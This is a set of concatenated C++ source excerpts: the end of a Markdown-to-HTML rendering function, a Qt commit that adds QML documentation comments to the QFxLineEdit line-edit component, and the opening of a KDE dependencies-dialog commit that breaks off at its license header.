// strip yaml front-matter / pandoc metadata if requested
if (extensions.stripMetadata)
stripMetadata(&input);
// special case of empty input after stripping metadata
if (input.empty())
{
*pHTMLOutput = input;
return Success();
}
// setup input buffer
SundownBuffer inputBuffer(input);
if (!inputBuffer.allocated())
return allocationError(ERROR_LOCATION);
// render table of contents if requested
if (options.toc)
{
struct sd_callbacks htmlCallbacks;
struct html_renderopt htmlOptions;
::sdhtml_toc_renderer(&htmlCallbacks, &htmlOptions);
std::string tocOutput;
Error error = renderMarkdown(inputBuffer,
extensions,
options.smartypants,
&htmlCallbacks,
&htmlOptions,
&tocOutput);
if (error)
return error;
pHTMLOutput->append("<div id=\"toc\">\n");
pHTMLOutput->append("<div id=\"toc_header\">Table of Contents</div>\n");
pHTMLOutput->append(tocOutput);
pHTMLOutput->append("</div>\n");
pHTMLOutput->append("\n");
}
// setup html renderer
struct sd_callbacks htmlCallbacks;
struct html_renderopt htmlOptions;
int htmlRenderMode = 0;
if (options.useXHTML)
htmlRenderMode |= HTML_USE_XHTML;
if (options.hardWrap)
htmlRenderMode |= HTML_HARD_WRAP;
if (options.toc)
htmlRenderMode |= HTML_TOC;
if (options.safelink)
htmlRenderMode |= HTML_SAFELINK;
if (options.skipHTML)
htmlRenderMode |= HTML_SKIP_HTML;
if (options.skipStyle)
htmlRenderMode |= HTML_SKIP_STYLE;
if (options.skipImages)
htmlRenderMode |= HTML_SKIP_IMAGES;
if (options.skipLinks)
htmlRenderMode |= HTML_SKIP_LINKS;
if (options.escape)
htmlRenderMode |= HTML_ESCAPE;
::sdhtml_renderer(&htmlCallbacks, &htmlOptions, htmlRenderMode);
// render page
std::string output;
Error error = renderMarkdown(inputBuffer,
extensions,
options.smartypants,
&htmlCallbacks,
&htmlOptions,
&output);
if (error)
return error;
// append output and return success
pHTMLOutput->append(output);
return Success();
}
bool isMathJaxRequired(const std::string& htmlOutput)
{
return requiresMathjax(htmlOutput);
}
} // namespace markdown
} // namespace core
<|endoftext|>
|
<commit_before>/****************************************************************************
**
** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
** Contact: Qt Software Information (qt-info@nokia.com)
**
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
** This file contains pre-release code and may not be distributed.
** You may use this file in accordance with the terms and conditions
** contained in the either Technology Preview License Agreement or the
** Beta Release License Agreement.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain
** additional rights. These rights are described in the Nokia Qt LGPL
** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this
** package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
** If you are unsure which license is appropriate for your use, please
** contact the sales department at qt-sales@nokia.com.
** $QT_END_LICENSE$
**
****************************************************************************/
#include "qfxlineedit.h"
#include "qfxlineedit_p.h"
#include <QValidator>
#include <QApplication>
#include <QFontMetrics>
#include <QPainter>
QT_BEGIN_NAMESPACE
QML_DEFINE_TYPE(Qt,4,6,(QT_VERSION&0x00ff00)>>8,LineEdit,QFxLineEdit);
QML_DEFINE_TYPE(Qt,4,6,(QT_VERSION&0x00ff00)>>8,QIntValidator,QIntValidator);
QFxLineEdit::QFxLineEdit(QFxItem* parent)
: QFxPaintedItem(*(new QFxLineEditPrivate), parent)
{
Q_D(QFxLineEdit);
d->init();
}
/*
\internal
*/
QFxLineEdit::QFxLineEdit(QFxLineEditPrivate &dd, QFxItem* parent)
: QFxPaintedItem(dd, parent)
{
Q_D(QFxLineEdit);
d->init();
}
QFxLineEdit::~QFxLineEdit()
{
}
QString QFxLineEdit::text() const
{
Q_D(const QFxLineEdit);
return d->control->text();
}
void QFxLineEdit::setText(const QString &s)
{
Q_D(QFxLineEdit);
if(s == text())
return;
d->control->setText(s);
//emit textChanged();
}
QmlFont *QFxLineEdit::font()
{
Q_D(QFxLineEdit);
return d->font;
}
QColor QFxLineEdit::color() const
{
Q_D(const QFxLineEdit);
return d->color;
}
void QFxLineEdit::setColor(const QColor &c)
{
Q_D(QFxLineEdit);
d->color = c;
}
QFxText::HAlignment QFxLineEdit::hAlign() const
{
Q_D(const QFxLineEdit);
return d->hAlign;
}
void QFxLineEdit::setHAlign(QFxText::HAlignment align)
{
Q_D(QFxLineEdit);
d->hAlign = align;
}
bool QFxLineEdit::isReadOnly() const
{
Q_D(const QFxLineEdit);
return d->control->isReadOnly();
}
void QFxLineEdit::setReadOnly(bool ro)
{
Q_D(QFxLineEdit);
d->control->setReadOnly(ro);
}
int QFxLineEdit::maxLength() const
{
Q_D(const QFxLineEdit);
return d->control->maxLength();
}
void QFxLineEdit::setMaxLength(int ml)
{
Q_D(QFxLineEdit);
d->control->setMaxLength(ml);
}
int QFxLineEdit::cursorPosition() const
{
Q_D(const QFxLineEdit);
return d->control->cursor();
}
void QFxLineEdit::setCursorPosition(int cp)
{
Q_D(QFxLineEdit);
d->control->moveCursor(cp);
}
/*!
\qmlproperty int LineEdit::selectionStart
The cursor position before the first character in the current selection.
Setting this and selectionEnd allows you to specify a selection in the
text edit.
Note that if selectionStart == selectionEnd then there is no current
selection. If you attempt to set selectionStart to a value outside of
the current text, selectionStart will not be changed.
\sa selectionEnd, cursorPosition, selectedText
*/
int QFxLineEdit::selectionStart() const
{
Q_D(const QFxLineEdit);
return d->lastSelectionStart;
}
void QFxLineEdit::setSelectionStart(int s)
{
Q_D(QFxLineEdit);
if(d->lastSelectionStart == s || s < 0 || s > text().length())
return;
d->lastSelectionStart = s;
d->control->setSelection(s, d->lastSelectionEnd - s);
}
/*!
\qmlproperty int LineEdit::selectionEnd
The cursor position after the last character in the current selection.
Setting this and selectionStart allows you to specify a selection in the
text edit.
Note that if selectionStart == selectionEnd then there is no current
selection. If you attempt to set selectionEnd to a value outside of
the current text, selectionEnd will not be changed.
\sa selectionStart, cursorPosition, selectedText
*/
int QFxLineEdit::selectionEnd() const
{
Q_D(const QFxLineEdit);
return d->lastSelectionEnd;
}
void QFxLineEdit::setSelectionEnd(int s)
{
Q_D(QFxLineEdit);
if(d->lastSelectionEnd == s || s < 0 || s > text().length())
return;
d->lastSelectionEnd = s;
d->control->setSelection(d->lastSelectionStart, s - d->lastSelectionStart);
}
QString QFxLineEdit::selectedText() const
{
Q_D(const QFxLineEdit);
return d->control->selectedText();
}
QObject* QFxLineEdit::validator() const
{
Q_D(const QFxLineEdit);
//###const cast isn't good, but needed for property system?
//###same should be said about using QObject* as the property type
return const_cast<QValidator*>(d->control->validator());
}
void QFxLineEdit::setValidator(QObject* v)
{
Q_D(QFxLineEdit);
QValidator* valid = qobject_cast<QValidator*>(v);
if(!valid)
return;
d->control->setValidator(valid);
if(!d->control->hasAcceptableInput()){
d->oldValidity = false;
emit acceptableInputChanged();
}
}
QString QFxLineEdit::inputMask() const
{
Q_D(const QFxLineEdit);
return d->control->inputMask();
}
void QFxLineEdit::setInputMask(const QString &im)
{
Q_D(QFxLineEdit);
d->control->setInputMask(im);
}
bool QFxLineEdit::hasAcceptableInput() const
{
Q_D(const QFxLineEdit);
return d->control->hasAcceptableInput();
}
uint QFxLineEdit::echoMode() const
{
Q_D(const QFxLineEdit);
return d->control->echoMode();
}
void QFxLineEdit::setEchoMode(uint echo)
{
Q_D(QFxLineEdit);
d->control->setEchoMode(echo);
}
QmlComponent* QFxLineEdit::cursorDelegate() const
{
Q_D(const QFxLineEdit);
return d->cursorComponent;
}
void QFxLineEdit::setCursorDelegate(QmlComponent* c)
{
Q_D(QFxLineEdit);
if(d->cursorComponent)
delete d->cursorComponent;
d->cursorComponent = c;
d->startCreatingCursor();
}
void QFxLineEditPrivate::startCreatingCursor()
{
Q_Q(QFxLineEdit);
if(!cursorComponent){
q->disconnect(control, SIGNAL(cursorPositionChanged(int, int)),
q, SLOT(moveCursor()));
return;
}
q->connect(control, SIGNAL(cursorPositionChanged(int, int)),
q, SLOT(moveCursor()));
if(cursorComponent->isReady()){
q->createCursor();
}else if(cursorComponent->isLoading()){
q->connect(cursorComponent, SIGNAL(statusChanged(int)),
q, SLOT(createCursor()));
}else{//isError
qWarning() << "You could really use the error checking for QFxLineEdit. We'll implement it soon.";
}
}
void QFxLineEdit::createCursor()
{
Q_D(QFxLineEdit);
//Handle isError too
if(!d->cursorComponent->isReady())
return;
if(d->cursorItem)
delete d->cursorItem;
d->cursorItem = qobject_cast<QFxItem*>(d->cursorComponent->create());
if(!d->cursorItem){
qWarning() << "You could really use the error reporting for QFxLineEdit. We'll implement it soon.";
return;
}
d->cursorItem->setItemParent(this);
d->cursorItem->setX(d->control->cursorToX());
d->cursorItem->setHeight(d->control->height());
}
void QFxLineEdit::moveCursor()
{
Q_D(QFxLineEdit);
if(!d->cursorItem)
return;
d->cursorItem->setX(d->control->cursorToX() - d->hscroll);
}
/*
int QFxLineEdit::scrollDuration() const
{
Q_D(const QFxLineEdit);
return d->scrollDur;
}
void QFxLineEdit::setScrollDuration(int s)
{
Q_D(QFxLineEdit);
d->scrollDur = s;
//Need to update cur anims as well
}
*/
int QFxLineEdit::xToPos(int x)
{
Q_D(const QFxLineEdit);
return d->control->xToPos(x - d->hscroll);
}
void QFxLineEdit::focusChanged(bool hasFocus)
{
Q_D(QFxLineEdit);
if(d->focused && !hasFocus){
d->focused = false;
d->control->setCursorBlinkPeriod(0);
updateAll();//Only need the cursor rect
}else{
d->focused = hasFocus;
updateAll();//Only need the cursor rect
}
}
void QFxLineEdit::keyPressEvent(QKeyEvent* ev)
{
Q_D(QFxLineEdit);
d->control->processKeyEvent(ev);
}
void QFxLineEdit::mousePressEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QFxLineEdit);
setFocus(true);
d->control->setCursorBlinkPeriod(QApplication::cursorFlashTime());
d->focused = true;
d->control->processEvent(event);
//event->accept();
}
bool QFxLineEdit::event(QEvent* ev)
{
Q_D(QFxLineEdit);
//Anything we don't deal with ourselves, pass to the control
switch(ev->type()){
case QEvent::GraphicsSceneMousePress:
break;
default:
return d->control->processEvent(ev);
}
return false;
}
void QFxLineEdit::geometryChanged(const QRectF &newGeometry,
const QRectF &oldGeometry)
{
if (newGeometry.width() != oldGeometry.width())
updateSize();
QFxPaintedItem::geometryChanged(newGeometry, oldGeometry);
}
void QFxLineEdit::drawContents(QPainter *p, const QRect &r)
{
Q_D(QFxLineEdit);
p->setRenderHint(QPainter::TextAntialiasing, true);
p->save();
p->setPen(QPen(d->color));
int flags = QLineControl::DrawText;
if(!isReadOnly() && d->focused && !d->cursorItem)
flags |= QLineControl::DrawCursor;
if (d->control->hasSelectedText())
flags |= QLineControl::DrawSelections;
d->control->draw(p, QPoint(0,0), r, flags);
p->restore();
}
void QFxLineEditPrivate::init()
{
Q_Q(QFxLineEdit);
control->setCursorWidth(1);
control->setPasswordCharacter(QLatin1Char('*'));
control->setLayoutDirection(Qt::LeftToRight);
q->setSmooth(true);
q->setAcceptedMouseButtons(Qt::LeftButton);
q->setOptions(QFxLineEdit::AcceptsInputMethods | QFxLineEdit::SimpleItem
| QFxLineEdit::HasContents | QFxLineEdit::MouseEvents);
q->connect(control, SIGNAL(cursorPositionChanged(int,int)),
q, SLOT(cursorPosChanged()));
q->connect(control, SIGNAL(selectionChanged()),
q, SLOT(selectionChanged()));
q->connect(control, SIGNAL(textChanged(const QString &)),
q, SLOT(q_textChanged()));
q->connect(control, SIGNAL(accepted()),
q, SIGNAL(accepted()));
q->connect(control, SIGNAL(updateNeeded(const QRect &)),
// q, SLOT(dirtyCache(const QRect &)));
q, SLOT(updateAll()));
q->connect(control, SIGNAL(cursorPositionChanged(int,int)),
q, SLOT(updateAll()));
q->connect(control, SIGNAL(selectionChanged()),
q, SLOT(updateAll()));
if(!font)
font = new QmlFont();
q->updateSize();
oldValidity = control->hasAcceptableInput();
lastSelectionStart = 0;
lastSelectionEnd = 0;
}
void QFxLineEdit::cursorPosChanged()
{
Q_D(QFxLineEdit);
emit cursorPositionChanged();
if(!d->control->hasSelectedText()){
if(d->lastSelectionStart != d->control->cursor()){
d->lastSelectionStart = d->control->cursor();
emit selectionStartChanged();
}
if(d->lastSelectionEnd != d->control->cursor()){
d->lastSelectionEnd = d->control->cursor();
emit selectionEndChanged();
}
}
}
void QFxLineEdit::selectionChanged()
{
Q_D(QFxLineEdit);
emit selectedTextChanged();
if(d->lastSelectionStart != d->control->selectionStart()){
d->lastSelectionStart = d->control->selectionStart();
if(d->lastSelectionStart == -1)
d->lastSelectionStart = d->control->cursor();
emit selectionStartChanged();
}
if(d->lastSelectionEnd != d->control->selectionEnd()){
d->lastSelectionEnd = d->control->selectionEnd();
if(d->lastSelectionEnd == -1)
d->lastSelectionEnd = d->control->cursor();
emit selectionEndChanged();
}
}
void QFxLineEdit::q_textChanged()
{
Q_D(QFxLineEdit);
updateAll();
emit textChanged();
if(hasAcceptableInput() != d->oldValidity){
d->oldValidity = hasAcceptableInput();
emit acceptableInputChanged();
}
}
//### Please replace this function with proper updating
void QFxLineEdit::updateAll()
{
clearCache();
updateSize();
update();
}
void QFxLineEdit::updateSize()
{
Q_D(QFxLineEdit);
setImplicitHeight(d->control->height());
//d->control->width() is max width, not current width
QFontMetrics fm = QFontMetrics(d->font->font());
setImplicitWidth(fm.boundingRect(d->control->text()).width()+1);
setContentsSize(QSize(width(), height()));
}
QT_END_NAMESPACE
<commit_msg>Throw in some cursory docs for QFxLineEdit<commit_after>/****************************************************************************
**
** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
** Contact: Qt Software Information (qt-info@nokia.com)
**
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
** This file contains pre-release code and may not be distributed.
** You may use this file in accordance with the terms and conditions
** contained in the either Technology Preview License Agreement or the
** Beta Release License Agreement.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain
** additional rights. These rights are described in the Nokia Qt LGPL
** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this
** package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
** If you are unsure which license is appropriate for your use, please
** contact the sales department at qt-sales@nokia.com.
** $QT_END_LICENSE$
**
****************************************************************************/
#include "qfxlineedit.h"
#include "qfxlineedit_p.h"
#include <QValidator>
#include <QApplication>
#include <QFontMetrics>
#include <QPainter>
QT_BEGIN_NAMESPACE
QML_DEFINE_TYPE(Qt,4,6,(QT_VERSION&0x00ff00)>>8,LineEdit,QFxLineEdit);
QML_DEFINE_TYPE(Qt,4,6,(QT_VERSION&0x00ff00)>>8,QIntValidator,QIntValidator);
/*!
\qmlclass LineEdit
\brief The LineEdit item allows you to add an editable line of text to a scene.
*/
QFxLineEdit::QFxLineEdit(QFxItem* parent)
: QFxPaintedItem(*(new QFxLineEditPrivate), parent)
{
Q_D(QFxLineEdit);
d->init();
}
/*
\internal
*/
QFxLineEdit::QFxLineEdit(QFxLineEditPrivate &dd, QFxItem* parent)
: QFxPaintedItem(dd, parent)
{
Q_D(QFxLineEdit);
d->init();
}
QFxLineEdit::~QFxLineEdit()
{
}
/*!
\qmlproperty string LineEdit::text
The text in the LineEdit.
*/
QString QFxLineEdit::text() const
{
Q_D(const QFxLineEdit);
return d->control->text();
}
void QFxLineEdit::setText(const QString &s)
{
Q_D(QFxLineEdit);
if(s == text())
return;
d->control->setText(s);
//emit textChanged();
}
/*!
\qmlproperty font LineEdit::font
Set the LineEdit's font attributes. \c font.size sets the font's point size.
*/
QmlFont *QFxLineEdit::font()
{
Q_D(QFxLineEdit);
return d->font;
}
/*!
\qmlproperty color LineEdit::color
The text color.
*/
QColor QFxLineEdit::color() const
{
Q_D(const QFxLineEdit);
return d->color;
}
void QFxLineEdit::setColor(const QColor &c)
{
Q_D(QFxLineEdit);
d->color = c;
}
QFxText::HAlignment QFxLineEdit::hAlign() const
{
Q_D(const QFxLineEdit);
return d->hAlign;
}
void QFxLineEdit::setHAlign(QFxText::HAlignment align)
{
Q_D(QFxLineEdit);
d->hAlign = align;
}
bool QFxLineEdit::isReadOnly() const
{
Q_D(const QFxLineEdit);
return d->control->isReadOnly();
}
void QFxLineEdit::setReadOnly(bool ro)
{
Q_D(QFxLineEdit);
d->control->setReadOnly(ro);
}
int QFxLineEdit::maxLength() const
{
Q_D(const QFxLineEdit);
return d->control->maxLength();
}
void QFxLineEdit::setMaxLength(int ml)
{
Q_D(QFxLineEdit);
d->control->setMaxLength(ml);
}
/*!
\qmlproperty LineEdit::cursorPosition
\brief The position of the cursor in the LineEdit.
*/
int QFxLineEdit::cursorPosition() const
{
Q_D(const QFxLineEdit);
return d->control->cursor();
}
void QFxLineEdit::setCursorPosition(int cp)
{
Q_D(QFxLineEdit);
d->control->moveCursor(cp);
}
/*!
\qmlproperty int LineEdit::selectionStart
The cursor position before the first character in the current selection.
Setting this and selectionEnd allows you to specify a selection in the
text edit.
Note that if selectionStart == selectionEnd then there is no current
selection. If you attempt to set selectionStart to a value outside of
the current text, selectionStart will not be changed.
\sa selectionEnd, cursorPosition, selectedText
*/
int QFxLineEdit::selectionStart() const
{
Q_D(const QFxLineEdit);
return d->lastSelectionStart;
}
void QFxLineEdit::setSelectionStart(int s)
{
Q_D(QFxLineEdit);
if(d->lastSelectionStart == s || s < 0 || s > text().length())
return;
d->lastSelectionStart = s;
d->control->setSelection(s, d->lastSelectionEnd - s);
}
/*!
\qmlproperty int LineEdit::selectionEnd
The cursor position after the last character in the current selection.
Setting this and selectionStart allows you to specify a selection in the
text edit.
Note that if selectionStart == selectionEnd then there is no current
selection. If you attempt to set selectionEnd to a value outside of
the current text, selectionEnd will not be changed.
\sa selectionStart, cursorPosition, selectedText
*/
int QFxLineEdit::selectionEnd() const
{
Q_D(const QFxLineEdit);
return d->lastSelectionEnd;
}
void QFxLineEdit::setSelectionEnd(int s)
{
Q_D(QFxLineEdit);
if(d->lastSelectionEnd == s || s < 0 || s > text().length())
return;
d->lastSelectionEnd = s;
d->control->setSelection(d->lastSelectionStart, s - d->lastSelectionStart);
}
QString QFxLineEdit::selectedText() const
{
Q_D(const QFxLineEdit);
return d->control->selectedText();
}
QObject* QFxLineEdit::validator() const
{
Q_D(const QFxLineEdit);
//###const cast isn't good, but needed for property system?
//###same should be said about using QObject* as the property type
return const_cast<QValidator*>(d->control->validator());
}
void QFxLineEdit::setValidator(QObject* v)
{
Q_D(QFxLineEdit);
QValidator* valid = qobject_cast<QValidator*>(v);
if(!valid)
return;
d->control->setValidator(valid);
if(!d->control->hasAcceptableInput()){
d->oldValidity = false;
emit acceptableInputChanged();
}
}
QString QFxLineEdit::inputMask() const
{
Q_D(const QFxLineEdit);
return d->control->inputMask();
}
void QFxLineEdit::setInputMask(const QString &im)
{
Q_D(QFxLineEdit);
d->control->setInputMask(im);
}
bool QFxLineEdit::hasAcceptableInput() const
{
Q_D(const QFxLineEdit);
return d->control->hasAcceptableInput();
}
uint QFxLineEdit::echoMode() const
{
Q_D(const QFxLineEdit);
return d->control->echoMode();
}
void QFxLineEdit::setEchoMode(uint echo)
{
Q_D(QFxLineEdit);
d->control->setEchoMode(echo);
}
/*!
\qmlproperty LineEdit::cursorDelegate
\brief The delegate for the cursor in the LineEdit.
If you set a cursorDelegate for a LineEdit, this delegate will be used for
drawing the cursor instead of the standard cursor. An instance of the
delegate will be created and managed by the LineEdit when a cursor is
needed, and the x property of delegate instance will be set so as
to be one pixel before the top left of the current character.
Note that the root item of the delegate component must be a QFxItem or
QFxItem derived item.
*/
QmlComponent* QFxLineEdit::cursorDelegate() const
{
Q_D(const QFxLineEdit);
return d->cursorComponent;
}
void QFxLineEdit::setCursorDelegate(QmlComponent* c)
{
Q_D(QFxLineEdit);
if(d->cursorComponent)
delete d->cursorComponent;
d->cursorComponent = c;
d->startCreatingCursor();
}
void QFxLineEditPrivate::startCreatingCursor()
{
Q_Q(QFxLineEdit);
if(!cursorComponent){
q->disconnect(control, SIGNAL(cursorPositionChanged(int, int)),
q, SLOT(moveCursor()));
return;
}
q->connect(control, SIGNAL(cursorPositionChanged(int, int)),
q, SLOT(moveCursor()));
if(cursorComponent->isReady()){
q->createCursor();
}else if(cursorComponent->isLoading()){
q->connect(cursorComponent, SIGNAL(statusChanged(int)),
q, SLOT(createCursor()));
}else{//isError
qWarning() << "You could really use the error checking for QFxLineEdit. We'll implement it soon.";
}
}
void QFxLineEdit::createCursor()
{
Q_D(QFxLineEdit);
//Handle isError too
if(!d->cursorComponent->isReady())
return;
if(d->cursorItem)
delete d->cursorItem;
d->cursorItem = qobject_cast<QFxItem*>(d->cursorComponent->create());
if(!d->cursorItem){
qWarning() << "You could really use the error reporting for QFxLineEdit. We'll implement it soon.";
return;
}
d->cursorItem->setItemParent(this);
d->cursorItem->setX(d->control->cursorToX());
d->cursorItem->setHeight(d->control->height());
}
void QFxLineEdit::moveCursor()
{
Q_D(QFxLineEdit);
if(!d->cursorItem)
return;
d->cursorItem->setX(d->control->cursorToX() - d->hscroll);
}
/*
int QFxLineEdit::scrollDuration() const
{
Q_D(const QFxLineEdit);
return d->scrollDur;
}
void QFxLineEdit::setScrollDuration(int s)
{
Q_D(QFxLineEdit);
d->scrollDur = s;
//Need to update cur anims as well
}
*/
int QFxLineEdit::xToPos(int x)
{
Q_D(const QFxLineEdit);
return d->control->xToPos(x - d->hscroll);
}
void QFxLineEdit::focusChanged(bool hasFocus)
{
Q_D(QFxLineEdit);
if(d->focused && !hasFocus){
d->focused = false;
d->control->setCursorBlinkPeriod(0);
updateAll();//Only need the cursor rect
}else{
d->focused = hasFocus;
updateAll();//Only need the cursor rect
}
}
void QFxLineEdit::keyPressEvent(QKeyEvent* ev)
{
Q_D(QFxLineEdit);
d->control->processKeyEvent(ev);
}
void QFxLineEdit::mousePressEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QFxLineEdit);
setFocus(true);
d->control->setCursorBlinkPeriod(QApplication::cursorFlashTime());
d->focused = true;
d->control->processEvent(event);
//event->accept();
}
bool QFxLineEdit::event(QEvent* ev)
{
Q_D(QFxLineEdit);
//Anything we don't deal with ourselves, pass to the control
switch(ev->type()){
case QEvent::GraphicsSceneMousePress:
break;
default:
return d->control->processEvent(ev);
}
return false;
}
void QFxLineEdit::geometryChanged(const QRectF &newGeometry,
const QRectF &oldGeometry)
{
if (newGeometry.width() != oldGeometry.width())
updateSize();
QFxPaintedItem::geometryChanged(newGeometry, oldGeometry);
}
void QFxLineEdit::drawContents(QPainter *p, const QRect &r)
{
Q_D(QFxLineEdit);
p->setRenderHint(QPainter::TextAntialiasing, true);
p->save();
p->setPen(QPen(d->color));
int flags = QLineControl::DrawText;
if(!isReadOnly() && d->focused && !d->cursorItem)
flags |= QLineControl::DrawCursor;
if (d->control->hasSelectedText())
flags |= QLineControl::DrawSelections;
d->control->draw(p, QPoint(0,0), r, flags);
p->restore();
}
void QFxLineEditPrivate::init()
{
Q_Q(QFxLineEdit);
control->setCursorWidth(1);
control->setPasswordCharacter(QLatin1Char('*'));
control->setLayoutDirection(Qt::LeftToRight);
q->setSmooth(true);
q->setAcceptedMouseButtons(Qt::LeftButton);
q->setOptions(QFxLineEdit::AcceptsInputMethods | QFxLineEdit::SimpleItem
| QFxLineEdit::HasContents | QFxLineEdit::MouseEvents);
q->connect(control, SIGNAL(cursorPositionChanged(int,int)),
q, SLOT(cursorPosChanged()));
q->connect(control, SIGNAL(selectionChanged()),
q, SLOT(selectionChanged()));
q->connect(control, SIGNAL(textChanged(const QString &)),
q, SLOT(q_textChanged()));
q->connect(control, SIGNAL(accepted()),
q, SIGNAL(accepted()));
q->connect(control, SIGNAL(updateNeeded(const QRect &)),
// q, SLOT(dirtyCache(const QRect &)));
q, SLOT(updateAll()));
q->connect(control, SIGNAL(cursorPositionChanged(int,int)),
q, SLOT(updateAll()));
q->connect(control, SIGNAL(selectionChanged()),
q, SLOT(updateAll()));
if(!font)
font = new QmlFont();
q->updateSize();
oldValidity = control->hasAcceptableInput();
lastSelectionStart = 0;
lastSelectionEnd = 0;
}
void QFxLineEdit::cursorPosChanged()
{
Q_D(QFxLineEdit);
emit cursorPositionChanged();
if(!d->control->hasSelectedText()){
if(d->lastSelectionStart != d->control->cursor()){
d->lastSelectionStart = d->control->cursor();
emit selectionStartChanged();
}
if(d->lastSelectionEnd != d->control->cursor()){
d->lastSelectionEnd = d->control->cursor();
emit selectionEndChanged();
}
}
}
void QFxLineEdit::selectionChanged()
{
Q_D(QFxLineEdit);
emit selectedTextChanged();
if(d->lastSelectionStart != d->control->selectionStart()){
d->lastSelectionStart = d->control->selectionStart();
if(d->lastSelectionStart == -1)
d->lastSelectionStart = d->control->cursor();
emit selectionStartChanged();
}
if(d->lastSelectionEnd != d->control->selectionEnd()){
d->lastSelectionEnd = d->control->selectionEnd();
if(d->lastSelectionEnd == -1)
d->lastSelectionEnd = d->control->cursor();
emit selectionEndChanged();
}
}
void QFxLineEdit::q_textChanged()
{
Q_D(QFxLineEdit);
updateAll();
emit textChanged();
if(hasAcceptableInput() != d->oldValidity){
d->oldValidity = hasAcceptableInput();
emit acceptableInputChanged();
}
}
//### Please replace this function with proper updating
void QFxLineEdit::updateAll()
{
clearCache();
updateSize();
update();
}
void QFxLineEdit::updateSize()
{
Q_D(QFxLineEdit);
setImplicitHeight(d->control->height());
//d->control->width() is max width, not current width
QFontMetrics fm = QFontMetrics(d->font->font());
setImplicitWidth(fm.boundingRect(d->control->text()).width()+1);
setContentsSize(QSize(width(), height()));
}
QT_END_NAMESPACE
<|endoftext|>
|
<commit_before>/***************************************************************************
* Copyright (C) 2003 by *
* Unai Garro (ugarro@users.sourceforge.net) *
* Cyril Bosselut (bosselut@b1project.com) *
* *
* Copyright (C) 2003-2005 by *
* Jason Kivlighn (jkivlighn@gmail.com) *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
***************************************************************************/
#include "dependanciesdialog.h"
#include "datablocks/elementlist.h"
#include <kvbox.h>
//Added by qt3to4:
#include <QLabel>
#include <Q3ValueList>
#include <klocale.h>
#include <kglobal.h>
#include <kconfig.h>
#include <kmessagebox.h>
DependanciesDialog::DependanciesDialog( QWidget *parent, const Q3ValueList<ListInfo> &lists, bool deps_are_deleted )
: KDialog( parent ), m_depsAreDeleted(deps_are_deleted)
{
init( lists );
}
DependanciesDialog::DependanciesDialog( QWidget *parent, const ListInfo &list, bool deps_are_deleted ) : KDialog( parent ),
m_depsAreDeleted(deps_are_deleted)
{
Q3ValueList<ListInfo> lists;
lists << list;
init( lists );
}
DependanciesDialog::~DependanciesDialog()
{}
void DependanciesDialog::init( const Q3ValueList<ListInfo> &lists )
{
setModal(true);
setDefaultButton(KDialog::Cancel);
setButtons(KDialog::Ok | KDialog::Cancel);
KVBox *page = new KVBox( this );
setMainWidget( page );
// Design the dialog
instructionsLabel = new QLabel( page );
instructionsLabel->setMinimumSize( QSize( 100, 30 ) );
instructionsLabel->setMaximumSize( QSize( 10000, 10000 ) );
instructionsLabel->setAlignment( Qt::AlignVCenter );
instructionsLabel->setWordWrap(true);
if ( m_depsAreDeleted ) {
instructionsLabel->setText( i18n( "<b>WARNING:</b> The following will have to be removed also, since currently they use the element you have chosen to be removed." ) );
}
else {
instructionsLabel->setText( i18n( "<b>WARNING:</b> The following currently use the element you have chosen to be removed." ) );
}
for ( Q3ValueList<ListInfo>::const_iterator list_it = lists.begin(); list_it != lists.end(); ++list_it ) {
if ( !((*list_it).list).isEmpty() ) {
Q3GroupBox *groupBox = new Q3GroupBox( 1, Qt::Vertical, (*list_it).name, page );
K3ListBox *listBox = new K3ListBox( groupBox );
loadList( listBox, (*list_it).list );
}
}
setSizeGripEnabled( true );
}
void DependanciesDialog::loadList( K3ListBox* listBox, const ElementList &list )
{
KConfigGroup config( KGlobal::config(), "Advanced" );
bool show_id = config.readEntry( "ShowID", false );
for ( ElementList::const_iterator el_it = list.begin(); el_it != list.end(); ++el_it ) {
QString name = ( *el_it ).name;
if ( show_id )
name += " (" + QString::number(( *el_it ).id) + ")";
listBox->insertItem( name );
}
}
void DependanciesDialog::accept()
{
if ( !m_msg.isEmpty() ) {
switch ( KMessageBox::warningYesNo(this,
QString("<b>%1</b><br><br>%2").arg(m_msg).arg(i18n("Are you sure you wish to proceed?")),
QString::null,KStandardGuiItem::yes(),KStandardGuiItem::no(),"doubleCheckDelete") )
{
case KMessageBox::Yes: QDialog::accept(); break;
case KMessageBox::No: QDialog::reject(); break;
}
}
else
QDialog::accept();
}
<commit_msg>Proper caption for dependancies dialog. You can see it, for instance, removing an author which is included in an existing recipe.<commit_after>/***************************************************************************
* Copyright (C) 2003 by *
